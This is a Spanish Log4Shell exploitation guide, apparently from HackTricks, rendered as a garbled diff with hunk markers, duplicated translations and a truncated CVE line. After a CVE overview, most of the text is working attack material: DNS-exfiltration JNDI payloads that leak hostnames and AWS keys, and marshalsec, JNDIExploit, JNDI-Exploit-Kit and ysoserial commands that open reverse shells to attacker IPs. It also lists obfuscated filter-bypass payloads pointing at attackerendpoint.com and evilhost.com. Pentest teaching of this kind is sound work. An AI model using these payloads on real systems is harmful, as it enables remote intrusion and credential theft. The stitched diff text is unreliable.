El analista de inteligencia de amenazas Florian Roth compartió reglas Sigma \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] que se pueden emplear como una de las defensas.\\
|
||||
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) \[**Crítico**, previamente Bajo]: Este es un fallo de Denegación de Servicio (DoS) con una puntuación de ~~3.7~~ 9.0. El fallo surgió como resultado de una **solución incompleta que se introdujo en 2.15.0** para CVE-2021-44228. Mientras que la solución aplicada a 2.15.0 resolvió en gran medida el fallo, ese no fue del todo el caso para ciertas **configuraciones no predeterminadas**.\
|
||||
\
|
||||
Log4j 2.15.0 hace "un intento de mejor esfuerzo" para **restringir las búsquedas LDAP JNDI a \_localhost**\_ por defecto. Pero, **los atacantes** que tienen **control** sobre los datos de entrada del **Mapa de Contexto de Hilos (MDC)** pueden crear payloads maliciosos a través de los patrones de Búsqueda JNDI para causar ataques DoS. Esto se aplica a configuraciones no predeterminadas en las que se utiliza un Patrón de Diseño no predeterminado usando ya sea una Búsqueda de Contexto, por ejemplo, \$${ctx:loginId}, o un patrón de Mapa de Contexto de Hilos (%X, %mdc, o %MDC).\
|
||||
\
|
||||
El **bypass tomado de este** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) fue:\
|
||||
_Aquí hay un PoC en cómo eludir las comprobaciones de allowedLdapHost y allowedClasses en Log4J 2.15.0. para lograr RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** y para eludir allowedClasses solo elige un nombre para una clase en el JDK. La deserialización ocurrirá como de costumbre._\
|
||||
\_\_\
|
||||
\_\_"Log4j 2.16.0 soluciona este problema eliminando el soporte para patrones de búsqueda de mensajes y deshabilitando la funcionalidad JNDI por defecto", afirma el aviso de NVD. Para aquellos en la rama 2.12.1, se realizó una corrección en 2.12.2.\\
|
||||
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**: ¿Dijimos que las versiones de Log4j 2.x eran vulnerables? ¿Qué pasa con **Log4j 1.x**?\
|
||||
\
|
||||
Aunque anteriormente se pensaba que era seguro, Log4Shell encontró una forma de acechar en el Log4j más antiguo también. Esencialmente, **configuración no predeterminada de instancias de Log4j 1.x usando la clase \_JMSAppender**\_\*\* también se vuelven susceptibles al fallo de deserialización no confiable\*\*.\
|
||||
\
|
||||
Aunque es una variante menos grave de CVE-2021-44228, no obstante, este CVE afecta a todas las versiones de los componentes [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) y [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) para los cuales solo existen lanzamientos 1.x. Debido a que estas son versiones [fin de vida](https://logging.apache.org/log4j/1.2/), **no existe una solución para la rama 1.x en ningún lugar**, y se debe actualizar a _log4j-core_ 2.17.0. (Aparentemente 1.0 no es vulnerable).\\
|
||||
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderado]:** Esta es una vulnerabilidad en el **marco de registro Logback**. Un sucesor de la biblioteca Log4j 1.x, Logback afirma continuar "donde log4j 1.x se detiene".\
|
||||
\
|
||||
Hasta la semana pasada, Logback también [presumía](https://archive.md/QkzIy) que al ser "no relacionado con log4j 2.x, \[logback] no comparte sus vulnerabilidades".\
|
||||
\
|
||||
Esa suposición se desvaneció rápidamente cuando se descubrió que **CVE-202
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[Crítico]**
|
||||
Esta vulnerabilidad es una grave **falla de deserialización no confiable** en el componente `log4j-core`, afectando versiones desde 2.0-beta9 hasta 2.14.1. Permite la **ejecución remota de código (RCE)**, lo que permite a los atacantes tomar el control de los sistemas. El problema fue reportado por Chen Zhaojun del Equipo de Seguridad de Alibaba Cloud y afecta a varios marcos de Apache. La corrección inicial en la versión 2.15.0 fue incompleta. Las reglas Sigma para la defensa están disponibles ([Regla 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Regla 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[Crítico]**
|
||||
Inicialmente calificado como bajo pero luego actualizado a crítico, este CVE es una falla de **Denegación de Servicio (DoS)** resultante de una corrección incompleta en 2.15.0 para CVE-2021-44228. Afecta a configuraciones no predeterminadas, lo que permite a los atacantes causar ataques DoS a través de payloads manipulados. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de bypass. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar los patrones de búsqueda de mensajes y deshabilitar JNDI de forma predeterminada.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[Alto]**
|
||||
Afectando las versiones de **Log4j 1.x** en configuraciones no predeterminadas que utilizan `JMSAppender`, este CVE es una falla de deserialización no confiable. No hay una corrección disponible para la rama 1.x, que está fuera de servicio, y se recomienda actualizar a `log4j-core 2.17.0`.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Moderado]**
|
||||
Esta vulnerabilidad afecta al **framework de registro Logback**, sucesor de Log4j 1.x. Anteriormente se creía que era seguro, pero se descubrió que el framework era vulnerable, y se han lanzado nuevas versiones (1.3.0-alpha11 y 1.2.9) para abordar el problema.
|
||||
|
||||
### **CVE-2021-45105** **[Alto]**
|
||||
Log4j 2.16.0 contiene una falla de DoS, lo que llevó al lanzamiento de `log4j 2.17.0` para solucionar el CVE. Se pueden encontrar más detalles en el informe de BleepingComputer [aquí](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
Afectando a la versión 2.17 de log4j, este CVE requiere que el atacante controle el archivo de configuración de log4j. Implica una posible ejecución de código arbitrario a través de un JDBCAppender configurado. Se pueden encontrar más detalles en la publicación del blog de [Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
|
||||
## Explotación de Log4Shell
|
||||
|
||||
### Descubrimiento
|
||||
|
||||
Esta vulnerabilidad es muy fácil de descubrir si no está protegida porque enviará al menos una **solicitud DNS** a la dirección que indiques en tu payload. Por lo tanto, payloads como:
|
||||
|
||||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (usando [canarytokens.com](https://canarytokens.org/generate))
|
||||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (usando [interactsh](https://github.com/projectdiscovery/interactsh))
|
||||
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (usando Burp Suite)
|
||||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (usando [dnslog](http://dnslog.cn))
|
||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` usando (usando [huntress](https://log4shell.huntress.com))
|
||||
|
||||
Ten en cuenta que **incluso si se recibe una solicitud DNS eso no significa que la aplicación sea explotable** (o incluso vulnerable), deberás intentar explotarla.
|
||||
|
||||
{% hint style="info" %}
|
||||
Recuerda que para **explotar la versión 2.15** necesitas agregar el **bypass de verificación de localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
||||
{% endhint %}
|
||||
|
||||
#### **Descubrimiento Local**
|
||||
|
||||
Busca **versiones locales vulnerables** de la biblioteca con:
|
||||
```bash
|
||||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||||
```
|
||||
### **Verificación**
|
||||
|
||||
Algunas de las plataformas mencionadas anteriormente permitirán insertar datos variables que se registrarán cuando se soliciten.\
|
||||
Algunas de las plataformas mencionadas anteriormente te permitirán insertar datos variables que se registrarán cuando se soliciten.\
|
||||
Esto puede ser muy útil para 2 cosas:
|
||||
|
||||
* Para **verificar** la vulnerabilidad
|
||||
* Para **exfiltrar información** abusando de la vulnerabilidad
|
||||
|
||||
Por ejemplo, podrías solicitar algo como:\
|
||||
o como `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** y si se **recibe una solicitud DNS con el valor de la variable de entorno**, sabes que la aplicación es vulnerable.
|
||||
o como `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** y si se recibe una **solicitud DNS con el valor de la variable de entorno**, sabrás que la aplicación es vulnerable.
|
||||
|
||||
Otra información que podrías intentar **exfiltrar**:
|
||||
Otra información que podrías intentar **filtrar**:
|
||||
```
|
||||
${env:AWS_ACCESS_KEY_ID}
|
||||
${env:AWS_CONFIG_FILE}
|
||||
|
|
@ -210,26 +217,25 @@ ${sys:user.name}
|
|||
|
||||
Any other env variable name that could store sensitive information
|
||||
```
|
||||
### Información sobre RCE
|
||||
### Información de RCE
|
||||
|
||||
{% hint style="info" %}
|
||||
Hosts que ejecutan en **versiones de JDK superiores a 6u141, 7u131, 8u121 estarán protegidos contra el vector de carga de clases LDAP** **PERO NO contra el vector de deserialización**. Esto se debe a que `com.sun.jndi.ldap.object.trustURLCodebase` está deshabilitado por defecto, por lo tanto, JNDI no puede cargar un codebase remoto usando LDAP. Pero debemos enfatizar que la deserialización y las fugas de variables aún son posibles.\
|
||||
Esto significa que para **explotar las versiones mencionadas** necesitarás **abusar de algún gadget de confianza** que exista en la aplicación java (usando ysoserial o JNDIExploit, por ejemplo). Pero para explotar versiones inferiores, puedes hacer que carguen y ejecuten clases arbitrarias (lo que facilita el ataque).
|
||||
Los hosts que ejecutan versiones de JDK superiores a 6u141, 7u131 o 8u121 están protegidos contra el vector de ataque de carga de clases LDAP. Esto se debe a la desactivación predeterminada de `com.sun.jndi.ldap.object.trustURLCodebase`, que evita que JNDI cargue una base de código remota a través de LDAP. Sin embargo, es crucial tener en cuenta que estas versiones **no están protegidas contra el vector de ataque de deserialización**.
|
||||
|
||||
Para **más información** (_como limitaciones en los vectores RMI y CORBA_) **consulta la sección anterior de Referencia de Nombres JNDI** o [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
Para los atacantes que buscan explotar estas versiones JDK superiores, es necesario aprovechar un **gadget de confianza** dentro de la aplicación Java. Herramientas como ysoserial o JNDIExploit se utilizan a menudo con este propósito. Por el contrario, explotar versiones JDK inferiores es relativamente más fácil, ya que estas versiones pueden manipularse para cargar y ejecutar clases arbitrarias.
|
||||
|
||||
Para **más información** (_como limitaciones en los vectores RMI y CORBA_) **consulte la sección anterior de Referencia de Nombres JNDI** o [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
{% endhint %}
|
||||
|
||||
### RCE - Marshalsec con payload personalizado
|
||||
### RCE - Marshalsec con carga útil personalizada
|
||||
|
||||
_Este truco se toma íntegramente de la **caja THM:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)___
|
||||
Puedes probar esto en la **caja THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
Para este exploit, se utilizará la herramienta [**marshalsec**](https://github.com/mbechler/marshalsec) (descarga una [**versión jar de aquí**](https://github.com/RandomRobbieBF/marshalsec-jar)) para crear un servidor de referencias LDAP para dirigir conexiones a nuestro servidor HTTP secundario donde se servirá el exploit:
|
||||
Utiliza la herramienta [**marshalsec**](https://github.com/mbechler/marshalsec) (versión jar disponible [**aquí**](https://github.com/RandomRobbieBF/marshalsec-jar)). Este enfoque establece un servidor de referencia LDAP para redirigir conexiones a un servidor HTTP secundario donde se alojará el exploit:
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
Queremos que la víctima cargue el código que nos enviará una reverse shell, así que puedes crear un archivo java llamado Exploit.java con el siguiente contenido:
|
||||
|
||||
{% code title="" %}
|
||||
Para incitar al objetivo a cargar un código de shell inverso, crea un archivo Java llamado `Exploit.java` con el siguiente contenido:
|
||||
```java
|
||||
public class Exploit {
|
||||
static {
|
||||
|
|
@ -241,27 +247,24 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
Compila el archivo Java en un archivo de clase usando: `javac Exploit.java -source 8 -target 8`. A continuación, inicia un **servidor HTTP** en el directorio que contiene el archivo de clase con: `python3 -m http.server`. Asegúrate de que el **servidor LDAP de marshalsec** haga referencia a este servidor HTTP.
|
||||
|
||||
Cree el **archivo de clase** ejecutando: `javac Exploit.java -source 8 -target 8` y luego ejecute un **servidor HTTP** en el mismo directorio donde se creó el archivo de clase: `python3 -m http.server`.\
|
||||
El **servidor LDAP de marshalsec debe apuntar a este servidor HTTP**.\
|
||||
Luego, puede hacer que el **servidor web vulnerable ejecute la clase de exploit** enviando un payload como:
|
||||
```
|
||||
Desencadena la ejecución de la clase de exploit en el servidor web susceptible enviando un payload similar a:
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
_Tenga en cuenta que si Java no está configurado para cargar código remoto usando LDAP, este exploit personalizado no funcionará. En ese caso, necesitará abusar de una clase de confianza para ejecutar código arbitrario._
|
||||
**Nota:** Esta explotación se basa en la configuración de Java para permitir la carga remota de código a través de LDAP. Si esto no es permitido, considere explotar una clase de confianza para la ejecución de código arbitrario.
|
||||
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
Note que por alguna razón el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puede encontrar una versión en caché en [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) pero si desea respetar la decisión del autor, use un método diferente para explotar esta vulnerabilidad.
|
||||
Tenga en cuenta que por alguna razón, el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puede encontrar una versión en caché en [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) pero si desea respetar la decisión del autor, utilice un método diferente para explotar esta vulnerabilidad.
|
||||
|
||||
Además, no puede encontrar el código fuente en wayback machine, así que o analiza el código fuente, o ejecuta el jar sabiendo que no sabes lo que estás ejecutando.
|
||||
Además, no podrá encontrar el código fuente en el archivo de la máquina del tiempo, por lo que deberá analizar el código fuente o ejecutar el archivo jar sabiendo que no sabe qué está ejecutando.
|
||||
{% endhint %}
|
||||
|
||||
Para este ejemplo, simplemente puede ejecutar este **servidor web vulnerable a log4shell** en el puerto 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_en el README encontrará cómo ejecutarlo_). Esta aplicación vulnerable está registrando con una versión vulnerable de log4shell el contenido del encabezado de solicitud HTTP _X-Api-Version_.
|
||||
Para este ejemplo, simplemente puede ejecutar este **servidor web vulnerable a log4shell** en el puerto 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_en el README encontrará cómo ejecutarlo_). Esta aplicación vulnerable está registrando con una versión vulnerable de log4shell el contenido del encabezado de la solicitud HTTP _X-Api-Version_.
|
||||
|
||||
Luego, puede descargar el archivo jar de **JNDIExploit** y ejecutarlo con:
|
||||
```bash
|
||||
|
|
@ -269,8 +272,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
|
|||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
Después de leer el código solo un par de minutos, en _com.feihong.ldap.LdapServer_ y _com.feihong.ldap.HTTPServer_ puedes ver cómo se crean los **servidores LDAP y HTTP**. El servidor LDAP entenderá qué payload necesita ser servido y redirigirá a la víctima al servidor HTTP, el cual servirá el exploit.
|
||||
En _com.feihong.ldap.gadgets_ puedes encontrar **algunos gadgets específicos** que pueden ser utilizados para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en _com.feihong.ldap.template_ puedes ver las diferentes clases de plantilla que **generarán los exploits**.
|
||||
Después de leer el código durante solo un par de minutos, en _com.feihong.ldap.LdapServer_ y _com.feihong.ldap.HTTPServer_ puedes ver cómo se crean los **servidores LDAP y HTTP**. El servidor LDAP entenderá qué carga útil debe servir y redirigirá a la víctima al servidor HTTP, que servirá el exploit.\
|
||||
En _com.feihong.ldap.gadgets_ puedes encontrar **algunos gadgets específicos** que se pueden utilizar para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en _com.feihong.ldap.template_ puedes ver las diferentes clases de plantillas que **generarán los exploits**.
|
||||
|
||||
Puedes ver todos los exploits disponibles con **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Algunos útiles son:
|
||||
```bash
|
||||
|
|
@ -279,7 +282,7 @@ ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
|
|||
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
|
||||
# But there are a lot more
|
||||
```
|
||||
Entonces, en nuestro ejemplo, ya tenemos esa aplicación vulnerable en docker en ejecución. Para atacarla:
|
||||
Entonces, en nuestro ejemplo, ya tenemos esa aplicación vulnerable de docker en ejecución. Para atacarla:
|
||||
```bash
|
||||
# Create a file inside of th vulnerable host:
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
|
||||
|
|
@ -288,14 +291,14 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
|||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
||||
```
|
||||
Al enviar los ataques, verás algunas salidas en la terminal donde ejecutaste **JNDIExploit-1.2-SNAPSHOT.jar**.
|
||||
Cuando envíes los ataques, verás alguna salida en la terminal donde ejecutaste **JNDIExploit-1.2-SNAPSHOT.jar**.
|
||||
|
||||
**Recuerda revisar `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` para otras opciones de explotación. Además, en caso de que lo necesites, puedes cambiar el puerto de los servidores LDAP y HTTP.**
|
||||
**Recuerda verificar `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` para otras opciones de explotación. Además, en caso de necesitarlo, puedes cambiar el puerto de los servidores LDAP y HTTP.**
|
||||
|
||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
De manera similar al exploit anterior, puedes intentar usar [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para explotar esta vulnerabilidad.\
|
||||
Puedes generar las URLs para enviar a la víctima ejecutando:
|
||||
Puedes generar las URLs para enviar al objetivo ejecutando:
|
||||
```bash
|
||||
# Get reverse shell in port 4444 (only unix)
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
||||
|
|
@ -303,26 +306,26 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_Este ataque utilizando un objeto java generado personalizado funcionará en laboratorios como la **sala solar THM**. Sin embargo, generalmente no funcionará (ya que por defecto Java no está configurado para cargar una base de código remota usando LDAP) creo que es porque no está abusando de una clase de confianza para ejecutar código arbitrario._
|
||||
_Este ataque utilizando un objeto Java generado personalizado funcionará en laboratorios como la **sala solar de THM**. Sin embargo, esto generalmente no funcionará (ya que por defecto Java no está configurado para cargar una base de código remota utilizando LDAP) creo que porque no está abusando de una clase de confianza para ejecutar código arbitrario._
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
Esta opción es realmente útil para atacar **versiones de Java configuradas para confiar solo en clases especificadas y no en todas**. Por lo tanto, **ysoserial** se utilizará para generar **serializaciones de clases de confianza** que pueden usarse como gadgets para **ejecutar código arbitrario** (_la clase de confianza abusada por ysoserial debe ser utilizada por el programa java víctima para que el exploit funcione_).
|
||||
Esta opción es realmente útil para atacar **versiones de Java configuradas para confiar solo en clases especificadas y no en todos**. Por lo tanto, **ysoserial** se utilizará para generar **serializaciones de clases de confianza** que pueden ser utilizadas como gadgets para **ejecutar código arbitrario** (_la clase de confianza abusada por ysoserial debe ser utilizada por el programa Java víctima para que el exploit funcione_).
|
||||
|
||||
Usando **ysoserial** o [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) puedes crear el exploit de deserialización que será descargado por JNDI:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
Utiliza [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para generar **enlaces JNDI** donde el exploit estará esperando conexiones de las máquinas vulnerables. Puedes servir **diferentes exploits que pueden ser generados automáticamente** por el JNDI-Exploit-Kit o incluso **tus propios payloads de deserialización** (generados por ti o ysoserial).
|
||||
Utiliza [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para generar **enlaces JNDI** donde el exploit estará esperando conexiones de las máquinas vulnerables. Puedes servir **diferentes exploits que pueden generarse automáticamente** por el JNDI-Exploit-Kit o incluso tus **propios payloads de deserialización** (generados por ti o ysoserial).
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
 (1) (1).png>)
|
||||
|
||||
Ahora puedes usar fácilmente un enlace JNDI generado para explotar la vulnerabilidad y obtener un **reverse shell** simplemente enviándolo a una versión vulnerable de log4j: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
Ahora puedes usar fácilmente un enlace JNDI generado para explotar la vulnerabilidad y obtener un **shell inverso** simplemente enviándolo a una versión vulnerable de log4j: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
|
||||
### Bypasses
|
||||
### Saltos de seguridad
|
||||
```java
|
||||
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
|
||||
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
|
||||
|
|
@ -354,15 +357,15 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
|
||||
## Explotación Post-Log4Shell
|
||||
|
||||
En este [**writeup de CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es **posible** **abusar** de algunas características de **Log4J**.
|
||||
En este [**writeup de CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es potencialmente **posible** **abu**sar algunas características de **Log4J**.
|
||||
|
||||
La [**página de seguridad**](https://logging.apache.org/log4j/2.x/security.html) de Log4j tiene algunas frases interesantes:
|
||||
|
||||
> Desde la versión 2.16.0 (para Java 8), la **función de búsquedas de mensajes ha sido completamente eliminada**. **Las búsquedas en la configuración aún funcionan**. Además, Log4j ahora deshabilita el acceso a JNDI por defecto. Las búsquedas de JNDI en la configuración ahora necesitan ser habilitadas explícitamente.
|
||||
> A partir de la versión 2.16.0 (para Java 8), la característica de **búsqueda de mensajes ha sido eliminada por completo**. Las **búsquedas en la configuración siguen funcionando**. Además, Log4j ahora deshabilita el acceso a JNDI de forma predeterminada. Las búsquedas de JNDI en la configuración ahora deben habilitarse explícitamente.
|
||||
|
||||
> Desde la versión 2.17.0, (y 2.12.3 y 2.3.1 para Java 7 y Java 6), **solo las cadenas de búsqueda en la configuración se expanden de manera recursiva**; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior, y no se resuelven las búsquedas anidadas.
|
||||
> A partir de la versión 2.17.0 (y 2.12.3 y 2.3.1 para Java 7 y Java 6), **solo las cadenas de búsqueda en la configuración se expanden de forma recursiva**; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior y las búsquedas anidadas no se resuelven.
|
||||
|
||||
Esto significa que por defecto puedes **olvidarte de usar cualquier exploit de `jndi`**. Además, para realizar **búsquedas recursivas** necesitas tenerlas configuradas.
|
||||
Esto significa que por defecto puedes **olvidarte de usar cualquier `exploit` de `jndi`**. Además, para realizar **búsquedas recursivas** necesitas tenerlas configuradas.
|
||||
|
||||
Por ejemplo, en ese CTF esto estaba configurado en el archivo log4j2.xml:
|
||||
```xml
|
||||
|
|
@ -371,42 +374,42 @@ Por ejemplo, en ese CTF esto estaba configurado en el archivo log4j2.xml:
|
|||
</PatternLayout>
|
||||
</Console>
|
||||
```
|
||||
### Búsquedas en Env
|
||||
### Búsquedas de Env
|
||||
|
||||
En este CTF, el atacante controlaba el valor de `${sys:cmd}` y necesitaba exfiltrar la flag de una variable de entorno.\
|
||||
Como se vio en esta página en [**cargas útiles anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), hay diferentes formas de acceder a las variables de entorno, como: **`${env:FLAG}`**. En este CTF esto no era útil, pero podría no serlo en otros escenarios de la vida real.
|
||||
En [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), el atacante controlaba el valor de `${sys:cmd}` y necesitaba exfiltrar la bandera de una variable de entorno.\
|
||||
Como se ve en esta página en [**cargas útiles anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) hay diferentes formas de acceder a variables de entorno, como: **`${env:FLAG}`**. En este CTF esto fue inútil pero podría ser útil en otros escenarios de la vida real.
|
||||
|
||||
### Exfiltración en Excepciones
|
||||
|
||||
En el CTF, **no podías acceder al stderr** de la aplicación java que usaba log4J, pero las **excepciones de Log4J se envían a stdout**, que se imprimía en la aplicación de python. Esto significaba que al provocar una excepción podríamos acceder al contenido. Una excepción para exfiltrar la flag era: **`${java:${env:FLAG}}`.** Esto funciona porque **`${java:CTF{blahblah}}`** no existe y se mostrará una excepción con el valor de la flag:
|
||||
En el CTF, **no se podía acceder al stderr** de la aplicación Java usando log4J, pero las **excepciones de Log4J se envían a stdout**, lo cual se imprimía en la aplicación Python. Esto significaba que al desencadenar una excepción podríamos acceder al contenido. Una excepción para exfiltrar la bandera fue: **`${java:${env:FLAG}}`.** Esto funciona porque **`${java:CTF{blahblah}}`** no existe y se mostrará una excepción con el valor de la bandera:
|
||||
|
||||
.png>)
|
||||
|
||||
### Excepciones de Patrones de Conversión
|
||||
### Patrones de Conversión en Excepciones
|
||||
|
||||
Solo para mencionarlo, también podrías inyectar nuevos [**patrones de conversión**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) y provocar excepciones que se registrarán en `stdout`. Por ejemplo:
|
||||
Solo por mencionarlo, también podrías inyectar nuevos [**patrones de conversión**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) y desencadenar excepciones que se registrarán en `stdout`. Por ejemplo:
|
||||
|
||||
 (2) (1) (1).png>)
|
||||
|
||||
Esto no se encontró útil para exfiltrar datos dentro del mensaje de error, porque la búsqueda no se resolvía antes del patrón de conversión, pero podría ser útil para otras cosas, como la detección.
|
||||
Esto no resultó útil para exfiltrar datos dentro del mensaje de error, porque la búsqueda no se resolvió antes del patrón de conversión, pero podría ser útil para otras cosas como la detección.
|
||||
|
||||
### Patrones de Conversión con Regex
|
||||
### Patrones de Conversión Regex
|
||||
|
||||
Sin embargo, es posible usar algunos **patrones de conversión que admiten regex** para exfiltrar información de una búsqueda utilizando regex y abusando de comportamientos de **búsqueda binaria** o **basados en tiempo**.
|
||||
Sin embargo, es posible utilizar algunos **patrones de conversión que admiten regexes** para exfiltrar información de una búsqueda mediante el uso de regexes y abusando de comportamientos de **búsqueda binaria** o basados en **tiempo**.
|
||||
|
||||
* **Búsqueda binaria a través de mensajes de excepción**
|
||||
|
||||
El patrón de conversión **`%replace`** se puede usar para **reemplazar** **contenido** de un **string** incluso usando **regexes**. Funciona así: `replace{pattern}{regex}{substitution}`\
|
||||
Abusando de este comportamiento podrías hacer que replace **provoque una excepción si el regex coincidía** con algo dentro del string (y ninguna excepción si no se encontraba) de esta manera:
|
||||
